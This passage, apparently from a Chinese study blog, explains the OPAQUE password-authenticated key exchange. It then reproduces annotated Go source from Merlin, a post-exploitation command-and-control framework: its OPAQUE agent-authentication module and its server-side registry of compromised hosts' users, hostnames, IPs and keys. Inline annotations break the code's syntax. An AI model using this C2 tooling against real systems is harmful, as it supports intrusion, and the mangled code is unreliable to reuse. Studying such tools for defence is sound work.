M)每次都是不同的。之后，C将M发送至S。S使用M和oprf_key得到Z，并将Z和加密私钥共同返回。C使用Z，r，password计算Y。如果password正确，每次得到的Y应当是相同的。C使用Y解密加密私钥，从而将其恢复为明文私钥。C仅使用密码重新得到私钥，从而进入登录的下一个环节。之后，像传统的登录流程一样，C和S通过密钥对creds建立会话。会话成功建立从而登录流程结束。当然，适用于OPAQUE的“下一步”和传统的流程并不完全相同，CFRG建议了包括3DH和SIGMA-I等在内的一些选项，而根据Tatiana Bradley的研究，TLS也是可用的。整个流程中，S只接触了由口令随机化得到的M，却并没有接触明文口令，而M值每次都是不同的。C仅仅在登录时生成了creds，并将其加密后转交S存储。OPAQUE实现了在C端不存储私钥，而是在登录时根据口令恢复私钥；同时在S端不存储口令，而是存储OPRF私钥和加密的用户私钥。从而完成了aPAKE的要求。由于OPRF流程的使用，OPAQUE能够有效对抗预计算攻击，从而在服务器遭受入侵或泄露的情况下依然能保证用户凭据的安全。Gopaque 在 Go 中实现了 OPAQUE 协议API文档<a href="https://pkg.go.dev/github.com/cretz/gopaque/gopaque" target="_blank">https://pkg.go.dev/github.com/cretz/gopaque/gopaque</a>注册流程¶OPAQUE 注册是从用户向服务器注册的用户开始的 3 条消息过程。用户需要的唯一输入是密码，注册后，服务器有信息来执行身份验证。用户的步骤是：1 - 使用用户 ID 创建一个 NewUserRegister2 - 使用密码调用 Init 并将生成的 UserRegisterInit 发送到服务器3 - 接收服务器的 ServerRegisterInit4 - 使用服务器的 ServerRegisterInit 调用 Complete 并将生成的 UserRegisterComplete 发送到服务器服务器的步骤是：1 - 接收用户的 UserRegisterInit2 - 使用私钥创建一个 NewServerRegister3 - 使用用户的 UserRegisterInit 调用 Init 并将生成的 ServerRegisterInit 发送给用户4 - 接收用户的 UserRegisterComplete5 - 使用用户的 UserRegisterComplete 调用 Complete 并保存生成的 ServerRegisterComplete认证流程¶OPAQUE 身份验证旨在与密钥交换协议结合使用以对用户进行身份验证。Gopaque 支持外部密钥交换协议或嵌入到身份验证过程中的协议。流程的纯 OPAQUE 部分只是一个 2 条消息的过程，但使用密钥交换进行验证通常会添加第三条消息。以下步骤假设密钥交换嵌入在身份验证过程中，而不是在外部。用户的步骤是：1 - 创建一个带有嵌入式密钥交换的 NewUserAuth2 - 使用密码调用 Init 并将生成的 UserAuthInit 发送到服务器3 - 接收服务器的 ServerAuthComplete4 - 使用服务器的 ServerAuthComplete 调用 Complete。生成的 UserAuthFinish 包含用户和服务器密钥信息。如果我们不使用嵌入式密钥交换，这将是最后一步。既然我们是，请获取生成的 UserAuthComplete 并将其发送到服务器。服务器的步骤是：1 - 接收用户的 UserAuthInit2 - 创建一个带有嵌入式密钥交换的 NewServerAuth3 - 使用用户的 UserAuthInit 和持久化的 ServerRegisterComplete 调用 Complete 并将生成的 ServerAuthComplete 发送给用户。如果我们不使用嵌入式密钥交换，这将是最后一步。4 - 接收用户的 UserAuthComplete5 - 使用用户的 UserAuthComplete 调用 Finish</pre><pre spellcheck="false" lang="go" cid="n37" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;">// Merlin is a post-exploitation command and control framework.// This file is part of Merlin.// Copyright (C) 2021  Russel Van Tuyl// Merlin is free software: you can redistribute it and/or modify// it under the terms of the GNU General Public License as published by// the Free Software Foundation, either version 3 of the License, or// any later version.// Merlin is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the// GNU General Public License for more details.// You should have received a copy of the GNU General Public License// along with Merlin.  If not, see &lt;<a href="http://www.gnu.org/licenses/" target="_blank">http://www.gnu.org/licenses/</a>&gt;.package opaqueimport (   // Standard   &#34;bytes&#34;   &#34;encoding/gob&#34;   &#34;fmt&#34;   // 3rd Party   &#34;github.com/cretz/gopaque/gopaque&#34;   &#34;github.com/fatih/color&#34;   uuid &#34;github.com/satori/go.uuid&#34;   &#34;go.dedis.ch/kyber/v3&#34;   // Internal&#34;   &#34;github.com/Ne0nd0g/merlin/pkg/core&#34;)// init registers message types with gob that are an interface for Base.Payloadfunc init() {   gob.Register(Opaque{})}const (   // RegInit is used to denote that the embedded payload contains data for the OPAQUE protocol Registration Initialization step   RegInit = 1   // RegComplete is used to denote that the embedded payload contains data for the OPAQUE protocol Registration Complete step   RegComplete = 2   // AuthInit is used to denote that the embedded payload contains data for the OPAQUE protocol Authorization Initialization step   AuthInit = 3   // AuthComplete is used to denote that the embedded payload contains data for the OPAQUE protocol Authorization Complete step   AuthComplete = 4   // ReRegister is used to instruct the Agent it needs to execute the OPAQUE Registration process with the server   ReRegister = 5   // ReAuthenticate is used to instruct the Agent it needs to execute the OPAQUE Authentication process with the server   ReAuthenticate = 6)// Opaque is a structure that is embedded into Merlin messages as a payload used to complete OPAQUE registration and authenticationtype Opaque struct {   Type    int    // The type of OPAQUE message from the constants   Payload []byte // OPAQUE payload data}// Server is the structure that holds information for the various steps of the OPAQUE protocol as the servertype Server struct {   reg         *gopaque.ServerRegister   regComplete *gopaque.ServerRegisterComplete   auth        *gopaque.ServerAuth   Kex         *gopaque.KeyExchangeSigma}// ServerRegisterInit is used to perform the OPAQUE Password Authenticated Key Exchange (PAKE) protocol Registration steps for the serverfunc ServerRegisterInit(AgentID uuid.UUID, o Opaque, key kyber.Scalar) (Opaque, *Server, error) {   if core.Debug {      message(&#34;debug&#34;, &#34;Entering into opaque.ServerRegisterInit() function...&#34;)   }   server := Server{      reg: gopaque.NewServerRegister(gopaque.CryptoDefault, key),   }   var userRegInit gopaque.UserRegisterInit   errUserRegInit := userRegInit.FromBytes(gopaque.CryptoDefault, o.Payload)   if errUserRegInit != nil {      return Opaque{}, &amp;server, fmt.Errorf(&#34;there was an error unmarshalling the OPAQUE user register initialization message from bytes:\r\n%s&#34;, errUserRegInit)   }   if !bytes.Equal(userRegInit.UserID, AgentID.Bytes()) {      if core.Verbose {         message(&#34;note&#34;, fmt.Sprintf(&#34;OPAQUE UserID: %v&#34;, userRegInit.UserID))         message(&#34;note&#34;, fmt.Sprintf(&#34;Merlin Message UserID: %v&#34;, AgentID.Bytes()))      }      return Opaque{}, &amp;server, fmt.Errorf(&#34;the OPAQUE UserID doesn&#39;t match the Merlin message ID&#34;)   }   serverRegInit := server.reg.Init(&amp;userRegInit)   serverRegInitBytes, errServerRegInitBytes := serverRegInit.ToBytes()   if errServerRegInitBytes != nil {      return Opaque{}, &amp;server, fmt.Errorf(&#34;there was an error marshalling the OPAQUE server registration initialization message to bytes:\r\n%s&#34;, errServerRegInitBytes)   }   returnMessage := Opaque{      Type:    RegInit,      Payload: serverRegInitBytes,   }   return returnMessage, &amp;server, nil}// ServerRegisterComplete consumes the User&#39;s response and finishes OPAQUE Registrationfunc ServerRegisterComplete(AgentID uuid.UUID, o Opaque, server *Server) (Opaque, error) {   if core.Debug {      message(&#34;debug&#34;, &#34;Entering into opaque.ServerRegisterComplete() function...&#34;)   }   var userRegComplete gopaque.UserRegisterComplete   errUserRegComplete := userRegComplete.FromBytes(gopaque.CryptoDefault, o.Payload)   if errUserRegComplete != nil {      return Opaque{}, fmt.Errorf(&#34;there was an error unmarshalling the OPAQUE user register complete message from bytes:\r\n%s&#34;, errUserRegComplete.Error())   }   server.regComplete = server.reg.Complete(&amp;userRegComplete)   // Check to make sure Merlin  UserID matches OPAQUE UserID   if !bytes.Equal(AgentID.Bytes(), server.regComplete.UserID) {      return Opaque{}, fmt.Errorf(&#34;the OPAQUE UserID: %v doesn&#39;t match the Merlin UserID: %v&#34;, server.regComplete.UserID, AgentID.Bytes())   }   returnMessage := Opaque{      Type: RegComplete,   }   return returnMessage, nil}// ServerAuthenticateInit is used to authenticate an agent leveraging the OPAQUE Password Authenticated Key Exchange (PAKE) protocolfunc ServerAuthenticateInit(o Opaque, server *Server) (Opaque, error) {   if core.Debug {      message(&#34;debug&#34;, &#34;Entering into opaque.ServerAuthenticateInit() function...&#34;)   }   // 1 - Receive the user&#39;s UserAuthInit   server.Kex = gopaque.NewKeyExchangeSigma(gopaque.CryptoDefault)   server.auth = gopaque.NewServerAuth(gopaque.CryptoDefault, server.Kex)   var userInit gopaque.UserAuthInit   errFromBytes := userInit.FromBytes(gopaque.CryptoDefault, o.Payload)   if errFromBytes != nil {      return Opaque{}, fmt.Errorf(&#34;there was an error unmarshalling the user init message from bytes:\r\n%s&#34;, errFromBytes)   }   serverAuthComplete, errServerAuthComplete := server.auth.Complete(&amp;userInit, server.regComplete)   if errServerAuthComplete != nil {      return Opaque{}, fmt.Errorf(&#34;there was an error completing the OPAQUE server authentication:\r\n%s&#34;, errServerAuthComplete.Error())   }   if core.Debug {      message(&#34;debug&#34;, fmt.Sprintf(&#34;User Auth Init:\r\n%+v&#34;, userInit))      message(&#34;debug&#34;, fmt.Sprintf(&#34;Server Auth Complete:\r\n%+v&#34;, serverAuthComplete))   }   serverAuthCompleteBytes, errServerAuthCompleteBytes := serverAuthComplete.ToBytes()   if errServerAuthCompleteBytes != nil {      return Opaque{}, fmt.Errorf(&#34;there was an error marshalling the OPAQUE server authentication complete message to bytes:\r\n%s&#34;, errServerAuthCompleteBytes.Error())   }   returnMessage := Opaque{      Type:    AuthInit,      Payload: serverAuthCompleteBytes,   }   return returnMessage, nil}// ServerAuthenticateComplete consumes the Agent&#39;s authentication messages and finishes the authentication and key exchangefunc ServerAuthenticateComplete(o Opaque, server *Server) error {   if core.Debug {      message(&#34;debug&#34;, &#34;Entering into opaque.ServerAuthenticateComplete() function&#34;)   }   var userComplete gopaque.UserAuthComplete   errFromBytes := userComplete.FromBytes(gopaque.CryptoDefault, o.Payload)   if errFromBytes != nil {      return fmt.Errorf(&#34;there was an error unmarshalling the user complete message from bytes:\r\n%s&#34;, errFromBytes)   }   // server auth finish   errAuthFinish := server.auth.Finish(&amp;userComplete)   if errAuthFinish != nil {      return fmt.Errorf(&#34;there was an error finishing authentication:\r\n%s&#34;, errAuthFinish)   }   return nil}// message is used to send send messages to STDOUT where the server is running and not intended to be sent to CLIfunc message(level string, message string) {   switch level {   case &#34;info&#34;:      color.Cyan(&#34;[i]&#34; + message)   case &#34;note&#34;:      color.Yellow(&#34;[-]&#34; + message)   case &#34;warn&#34;:      color.Red(&#34;[!]&#34; + message)   case &#34;debug&#34;:      color.Red(&#34;[DEBUG]&#34; + message)   case &#34;success&#34;:      color.Green(&#34;[+]&#34; + message)   default:      color.Red(&#34;[_-_]Invalid message level: &#34; + message)   }}</pre><h4 cid="n38" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">agents</span></h4><h5 cid="n39" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">agents.go</span></h5><pre spellcheck="false" lang="go" cid="n40" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;">// Merlin is a post-exploitation command and control framework.// This file is part of Merlin.// Copyright (C) 2021  Russel Van Tuyl// Merlin is free software: you can redistribute it and/or modify// it under the terms of the GNU General Public License as published by// the Free Software Foundation, either version 3 of the License, or// any later version.// Merlin is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the// GNU General Public License for more details.// You should have received a copy of the GNU General Public License// along with Merlin.  If not, see &lt;<a href="http://www.gnu.org/licenses/" target="_blank">http://www.gnu.org/licenses/</a>&gt;.package agentsimport (	&#34;crypto/rand&#34;	&#34;crypto/rsa&#34;	&#34;fmt&#34;	&#34;os&#34;	&#34;path&#34;	&#34;path/filepath&#34;	&#34;strconv&#34; 字符串类型转换	&#34;strings&#34;	&#34;time&#34;	// 3rd Party	&#34;github.com/satori/go.uuid&#34;	// Merlin	messageAPI &#34;github.com/Ne0nd0g/merlin/pkg/api/messages&#34;	&#34;github.com/Ne0nd0g/merlin/pkg/core&#34;	&#34;github.com/Ne0nd0g/merlin/pkg/logging&#34;	&#34;github.com/Ne0nd0g/merlin/pkg/messages&#34;	&#34;github.com/Ne0nd0g/merlin/pkg/opaque&#34;)// Global Variables// Agents contains all of the instantiated agent object that are accessed by other modulesvar Agents = make(map[uuid.UUID]*Agent)// groups map agent(s) to a string for bulk accessvar groups = make(map[string][]uuid.UUID)func init() {	globalUUID, err := uuid.FromString(&#34;ffffffff-ffff-ffff-ffff-ffffffffffff&#34;)	if err == nil {		groups[&#34;all&#34;] = []uuid.UUID{globalUUID}	}}// Agent is a server side structure that holds information about a Merlin Agenttype Agent struct {	ID             uuid.UUID	Platform       string	Architecture   string	UserName       string	UserGUID       string	HostName       string	Ips            []string	Pid            int	Process        string	agentLog       *os.File 日志文件	InitialCheckIn time.Time	StatusCheckIn  time.Time	Version        string	Build          string	WaitTime       string	PaddingMax     int	MaxRetry       int	FailedCheckin  int	Skew           int64	Proto          string	KillDate       int64	RSAKeys        *rsa.PrivateKey // RSA Private/Public key pair; Private key used to decrypt messages	PublicKey      rsa.PublicKey   // Public key used to encrypt messages	Secret         []byte          // secret is used to perform symmetric encryption operations 用于执行对称加密操作	OPAQUE         *opaque.Server  // Holds information about OPAQUE Registration and Authentication  保存OPAQUE的注册和认证信息	JA3            string          // The JA3 signature applied to the agent&#39;s TLS client 保存ja3指纹	Note           string          // Operator notes for an agent}交换服务端和客户端的公私钥// KeyExchange is used to exchange public keys between the server and agentfunc KeyExchange(m messages.Base) (messages.Base, error) {	if core.Debug {		message(&#34;debug&#34;, &#34;Entering into agents.KeyExchange function&#34;)	}	serverKeyMessage := messages.Base{		ID:      m.ID,		Version: 1.0,		Type:    messages.KEYEXCHANGE,		Padding: core.RandStringBytesMaskImprSrc(4096),	}	// Make sure the agent has previously authenticated	if !isAgent(m.ID) {		return serverKeyMessage, fmt.Errorf(&#34;the agent does not exist&#34;)	}	logging.Server(fmt.Sprintf(&#34;Received new agent key exchange from %s&#34;, m.ID))	ke := m.Payload.(messages.KeyExchange)	if core.Debug {		message(&#34;debug&#34;, fmt.Sprintf(&#34;Received new public key from %s:\r\n%v&#34;, m.ID, ke.PublicKey))	}	serverKeyMessage.ID = Agents[m.ID].ID	Agents[m.ID].PublicKey = ke.PublicKey	// Generate key pair	privateKey, rsaErr := rsa.GenerateKey(rand.Reader, 4096)	if rsaErr != nil {		return serverKeyMessage, fmt.Errorf(&#34;there was an error generating the RSA key pair:\r\n%s&#34;, rsaErr.Error())	}	Agents[m.ID].RSAKeys = privateKey	if core.Debug {		message(&#34;debug&#34;, fmt.Sprintf(&#34;Server&#39;s Public Key: %v&#34;, Agents[m.ID].RSAKeys.PublicKey))	}	pk := messages.KeyExchange{		PublicKey: Agents[m.ID].RSAKeys.PublicKey,	}	serverKeyMessage.ID = m.ID	serverKeyMessage.Payload = pk	if core.Debug {		message(&#34;debug&#34;, &#34;Leaving agents.KeyExchange returning without error&#34;)		message(&#34;debug&#34;, fmt.Sprintf(&#34;serverKeyMessage: %v&#34;, serverKeyMessage))	}	return serverKeyMessage, nil}检索每个agent的加密密钥用于解密任何协议的message// GetEncryptionKey retrieves the per-agent payload encryption key used to decrypt messages for any protocolfunc GetEncryptionKey(agentID uuid.UUID) ([]byte, error) {	if core.Debug {		message(&#34;debug&#34;, &#34;Entering into agents.GetEncryptionKey function&#34;)	}	if !isAgent(agentID) {		return nil, fmt.Errorf(&#34;agent %s does not exist&#34;, agentID)	}    key是agent的secret	key := Agents[agentID].Secret	if len(key) &lt;= 0 { 确认id为uuid 的agnet中保存的key不为空		return nil, fmt.Errorf(&#34;the encryption key for %s is empty&#34;, agentID)	}	if core.Debug {		message(&#34;debug&#34;, &#34;Leaving agents.GetEncryptionKey function&#34;)	}	return key, nil 返回key}// UpdateInfo is used to update an agent&#39;s information with the passed in message data 根据传入的message更新保存在服务端的agent信息func (a *Agent) UpdateInfo(info messages.AgentInfo) { Agent结构体的updateinfo方法	if core.Debug {		message(&#34;debug&#34;, &#34;Entering into agents.UpdateInfo function&#34;)	}	if core.Debug { 调式模式下输出接收到的的agent信息		message(&#34;debug&#34;, &#34;Processing new agent info&#34;)		message(&#34;debug&#34;, fmt.Sprintf(&#34;Agent Version: %s&#34;, info.Version))		message(&#34;debug&#34;, fmt.Sprintf(&#34;Agent Build: %s&#34;, info.Build))		message(&#34;debug&#34;, fmt.Sprintf(&#34;Agent waitTime: %s&#34;, info.WaitTime))		message(&#34;debug&#34;, fmt.Sprintf(&#34;Agent skew: %d&#34;, info.Skew))		message(&#34;debug&#34;, fmt.Sprintf(&#34;Agent paddingMax: %d&#34;, info.PaddingMax))		message(&#34;debug&#34;, fmt.Sprintf(&#34;Agent maxRetry: %d&#34;, info.MaxRetry))		message(&#34;debug&#34;, fmt.Sprintf(&#34;Agent failedCheckin: %d&#34;, info.FailedCheckin))		message(&#34;debug&#34;, fmt.Sprintf(&#34;Agent proto: %s&#34;, info.Proto))		message(&#34;debug&#34;, fmt.Sprintf(&#34;Agent killdate: %s&#34;, time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)))		message(&#34;debug&#34;, fmt.Sprintf(&#34;Agent JA3 signature: %s&#34;, info.JA3))	} 日志记录接收到的agent信息	a.Log(&#34;Processing AgentInfo message:&#34;)	a.Log(fmt.Sprintf(&#34;\tAgent Version: %s &#34;, info.Version))	a.Log(fmt.Sprintf(&#34;\tAgent Build: %s &#34;, info.Build))	a.Log(fmt.Sprintf(&#34;\tAgent waitTime: %s &#34;, info.WaitTime))	a.Log(fmt.Sprintf(&#34;\tAgent skew: %d &#34;, info.Skew))	a.Log(fmt.Sprintf(&#34;\tAgent paddingMax: %d &#34;, info.PaddingMax))	a.Log(fmt.Sprintf(&#34;\tAgent maxRetry: %d &#34;, info.MaxRetry))	a.Log(fmt.Sprintf(&#34;\tAgent failedCheckin: %d &#34;, info.FailedCheckin))	a.Log(fmt.Sprintf(&#34;\tAgent proto: %s &#34;, info.Proto))	a.Log(fmt.Sprintf(&#34;\tAgent KillDate: %s&#34;, time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)))	a.Log(fmt.Sprintf(&#34;\tAgent JA3 signature: %s&#34;, info.JA3))对agent对象的属性进行赋值（结构体的各个变量）	a.Version = info.Version	a.Build = info.Build	a.WaitTime = info.WaitTime	a.Skew = info.Skew	a.PaddingMax = info.PaddingMax	a.MaxRetry = info.MaxRetry	a.FailedCheckin = info.FailedCheckin	a.Proto = info.Proto	a.KillDate = info.KillDate	a.JA3 = info.JA3	a.Architecture = info.SysInfo.Architecture	a.HostName = info.SysInfo.HostName	a.Process = info.SysInfo.Process	a.Pid = info.SysInfo.Pid	a.Ips = info.SysInfo.Ips	a.Platform = info.SysInfo.Platform	a.UserName = info.SysInfo.UserName	a.UserGUID = info.SysInfo.UserGUID	if core.Debug {		message(&#34;debug&#34;, &#34;Leaving agents.UpdateInfo function&#34;)	}}// Log is used to write log messages to the agent&#39;s log file 向日志文件写日志func (a *Agent) Log(logMessage string) {	if core.Debug {		message(&#34;debug&#34;, &#34;Entering into agents.Log&#34;)	}	_, err := a.agentLog.WriteString(fmt.Sprintf(&#34;[%s]%s\r\n&#34;, time.Now().UTC().Format(time.RFC3339), logMessage))	if err != nil {		message(&#34;warn&#34;, fmt.Sprintf(&#34;There was an error writing to the agent log agents.Log:\r\n%s&#34;, err.Error()))	}}// message is used to send a broadcast message to all connected clients 向所有的客户端发送广播信息func message(level string, message string) {	m := messageAPI.UserMessage{		Message: message,		Time:    time.Now().UTC(),		Error:   false,	}	switch level {	case &#34;info&#34;:		m.Level = messageAPI.Info	case &#34;note&#34;:		m.Level = messageAPI.Note	case &#34;warn&#34;:		m.Level = messageAPI.Warn	case &#34;debug&#34;:		m.Level = messageAPI.Debug	case &#34;success&#34;:		m.Level = messageAPI.Success	case &#34;plain&#34;:		m.Level = messageAPI.Plain	default:		m.Level = messageAPI.Plain	}	messageAPI.SendBroadcastMessage(m)}// RemoveAgent deletes the agent object from Agents map by its IDfunc RemoveAgent(agentID uuid.UUID) error {	if isAgent(agentID) {		delete(Agents, agentID)		return nil	}	return fmt.Errorf(&#34;%s is not a known agent and was not removed&#34;, agentID)}// GetAgentFieldValue returns a string value for the field value belonging to the specified Agentfunc GetAgentFieldValue(agentID uuid.UUID, field string) (string, error) {	if isAgent(agentID) {		switch strings.ToLower(field) {		case &#34;platform&#34;:			return Agents[agentID].Platform, nil		case &#34;architecture&#34;:			return Agents[agentID].Architecture, nil		case &#34;username&#34;:			return Agents[agentID].UserName, nil		case &#34;waittime&#34;:			return Agents[agentID].WaitTime, nil		}		return &#34;&#34;, fmt.Errorf(&#34;the provided agent field could not be found: %s&#34;, field)	}	return &#34;&#34;, fmt.Errorf(&#34;%s is not a valid agent&#34;, agentID.String())}// isAgent enumerates a map of all instantiated agents and returns true if the provided agent UUID existsfunc isAgent(agentID uuid.UUID) bool { 遍历Agent查询传入的uuid是否在Agent Map保存的agnet的id中	for agent := range Agents {		if Agents[agent].ID == agentID {			return true		}	}	return false}// New creates a new Agent and returns the object but does not add it to the global agents map 新建一个agent对象但是不把他添加到全局的agent map中func New(agentID uuid.UUID) (Agent, error) {	if core.Debug {		message(&#34;debug&#34;, &#34;Entering into agents.newAgent function&#34;)	}	var agent Agent 创建agent对象（结构体）	if isAgent(agentID) { 确定添加的agent之前不存在		return agent, fmt.Errorf(&#34;the %s agent already exists&#34;, agentID)	}新建agent目录	agentsDir := filepath.Join(core.CurrentDir, &#34;data&#34;, &#34;agents&#34;)新建agent uuid对应的文件	// Create a directory for the new agent&#39;s files	if _, err := os.Stat(filepath.Join(agentsDir, agentID.String())); os.IsNotExist(err) {		errM := os.MkdirAll(filepath.Join(agentsDir, agentID.String()), 0750)		if errM != nil {			return agent, fmt.Errorf(&#34;there was an error creating a directory for agent %s:\r\n%s&#34;,				agentID.String(), err.Error())		} 新建agent log文件		// Create the agent&#39;s log file		agentLog, errC := os.Create(filepath.Join(agentsDir, agentID.String(), &#34;agent_log.txt&#34;))		if errC != nil {			return agent, fmt.Errorf(&#34;there was an error creating the agent_log.txt file for agnet %s:\r\n%s&#34;,				agentID.String(), err.Error())		}		// Change the file&#39;s permissions		errChmod := os.Chmod(agentLog.Name(), 0600)		if errChmod != nil {			return agent, fmt.Errorf(&#34;there was an error changing the file permissions for the agent log:\r\n%s&#34;, errChmod.Error())		}		if core.Verbose {			message(&#34;note&#34;, fmt.Sprintf(&#34;Created agent log file at: %s agent_log.txt&#34;,				path.Join(agentsDir, agentID.String())))		}	}	// Open agent&#39;s log file for writing 创建日志文件的写操作	f, err := os.OpenFile(filepath.Clean(filepath.Join(agentsDir, agentID.String(), &#34;agent_log.txt&#34;)), os.O_APPEND|os.O_WRONLY, 0600)	if err != nil {		return agent, fmt.Errorf(&#34;there was an error openeing the %s agent&#39;s log file:\r\n%s&#34;, agentID.String(), err.Error())	}对agent对象属性赋值和初始化时间	agent.ID = agentID	agent.agentLog = f	agent.InitialCheckIn = time.Now().UTC()	agent.StatusCheckIn = time.Now().UTC()	_, errAgentLog := agent.agentLog.WriteString(fmt.Sprintf(&#34;[%s]%s\r\n&#34;, time.Now().UTC().Format(time.RFC3339), &#34;Instantiated agent&#34;))	if errAgentLog != nil {		message(&#34;warn&#34;, fmt.Sprintf(&#34;There was an error writing to the agent log agents.Log:\r\n%s&#34;, errAgentLog.Error()))	}	if core.Debug {		message(&#34;debug&#34;, &#34;Leaving agents.newAgent function without error&#34;)	}	return agent, nil}// GetLifetime returns the amount an agent could live without successfully communicating with the server 获取agnet在不能与server成功通信情况下可视为存活的数量func GetLifetime(agentID uuid.UUID) (time.Duration, error) {	if core.Debug {		message(&#34;debug&#34;, &#34;Entering into agents.GetLifeTime&#34;)	}	// Check to make sure it is a known agent	if !isAgent(agentID) {		return 0, fmt.Errorf(&#34;%s is not a known agent&#34;, agentID)	}	// Check to see if PID is set to know if the first AgentInfo message has been sent 通过检查是否设置了did来确认是否发送了第一条agentinfo信息	if Agents[agentID].Pid == 0 {		return 0, nil	}time.ParseDuration解析agent设置的waittime的字符串为时间	sleep, errSleep := time.ParseDuration(Agents[agentID].WaitTime)	if errSleep != nil {		return 0, fmt.Errorf(&#34;there was an error parsing the agent WaitTime to a duration:\r\n%s&#34;, errSleep.Error())	}如果设置为0直接返回报错，waittime时间耗尽	if sleep == 0 {		return 0, fmt.Errorf(&#34;agent WaitTime is equal to zero&#34;)	}检查重试次数是否耗尽	retry := Agents[agentID].MaxRetry	if retry == 0 {		return 0, fmt.Errorf(&#34;agent MaxRetry is equal to zero&#34;)	}歪曲？的时间（设置的允许通信的时常？）	skew := time.Duration(Agents[agentID].Skew) * time.Millisecond	maxRetry := Agents[agentID].MaxRetry计算死前最长的存活时间	// Calculate the worst case scenario that an agent could be alive before dying	lifetime := sleep + skew	for maxRetry &gt; 1 {		lifetime = lifetime + (sleep + skew)		maxRetry--	}查看当前时间加上存活时间是否超过设定的kill agent时间，超过则返回报错	if Agents[agentID].KillDate &gt; 0 {		if time.Now().Add(lifetime).After(time.Unix(Agents[agentID].KillDate, 0)) {			return 0, fmt.Errorf(&#34;the agent lifetime will exceed the killdate&#34;)		}	}	if core.Debug {		message(&#34;debug&#34;, &#34;Leaving agents.GetLifeTime without error&#34;)	}	return lifetime, nil}// SetWaitTime updates an Agent&#39;s sleep amount or Wait Timefunc SetWaitTime(agentID uuid.UUID, wait string) error {	if isAgent(agentID) {		_, err := time.ParseDuration(wait)		if err != nil {			return fmt.Errorf(&#34;there was an error parsing %s to a duration for the Agent&#39;s WaitTime:\r\n%s&#34;, wait, err)		}		Agents[agentID].WaitTime = wait		return nil	}	return fmt.Errorf(&#34;the %s Agent is unknown&#34;, agentID.String())}// SetMaxRetry updates an Agent&#39;s MaxRetry limitfunc SetMaxRetry(agentID uuid.UUID, retry string) error {	if isAgent(agentID) {		r, err := strconv.Atoi(retry)		if err != nil {			return fmt.Errorf(&#34;there was an error converting %s to an integer for Agent %s:\n%s&#34;, retry, agentID, err)		}		Agents[agentID].MaxRetry = r		return nil	}	return fmt.Errorf(&#34;the %s Agent is unknown&#34;, agentID.String())}// SetAgentNote updates the agent&#39;s note field 设置agnet的备注信息func SetAgentNote(agentID uuid.UUID, note string) error {	if !isAgent(agentID) {		return fmt.Errorf(&#34;%s is not a known agent&#34;, agentID)	}	Agents[agentID].Note = note	return nil}// GroupAddAgent adds an agent to a group 将agent加入到一个分组下面func GroupAddAgent(agentID uuid.UUID, groupName string) error {	if !isAgent(agentID) {		return fmt.Errorf(&#34;%s is not a known agent&#34;, agentID)	}	grp, ok := groups[groupName]	if !ok {		groups[groupName] = []uuid.UUID{agentID} 如果不存在则创建一个名称为groupname的agent数组	} else {		// Don&#39;t add it to the group if it&#39;s already there 如果这个agent的uuid存在在任何一个分组中则不再向其他分组添加		for _, a := range groups[groupName] {			if uuid.Equal(a, agentID) {				return nil			}		}		groups[groupName] = append(grp, agentID)	}	return nil}// GroupListAll lists groups as a table of {groupName,agentID}GroupListAll 将组列为 {groupName,agentID} 的表func GroupListAll() [][]string {	var out [][]string	for groupName, agentIDs := range groups {		for _, aID := range agentIDs {			out = append(out, []string{groupName, aID.String()})		}	}	return out}// GroupListNames list out just the names of existing groups GroupListNames 仅列出目前存在的组的名称func GroupListNames() []string {	keys := make([]string, 0, len(groups))	for k := range groups {		keys = append(keys, k)	}	return keys}// GroupRemoveAgent removes an agent from a groupfunc GroupRemoveAgent(agentID uuid.UUID, groupName string) error {	if !isAgent(agentID) {		return fmt.Errorf(&#34;%s is not a known agent&#34;, agentID)	}	grp, ok := groups[groupName]	if !ok {		return fmt.Errorf(&#34;%s is not a group&#34;, groupName)	}	tmp := grp[:0]	for _, a := range grp { 遍历grp，如果传入的uuid不为grp中的元素，则添加入tmp数组		if !uuid.Equal(a, agentID) {			tmp = append(tmp, a)		}	}	groups[groupName] = tmp 新的grp的对应的数组元素为去掉uuid的tmp数组	//Make sure to delete group if empty 如果groupName数组为空，删除该数组	if len(groups[groupName]) == 0 {		delete(groups, groupName)	}	return nil}</pre><h4 cid="n41" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica 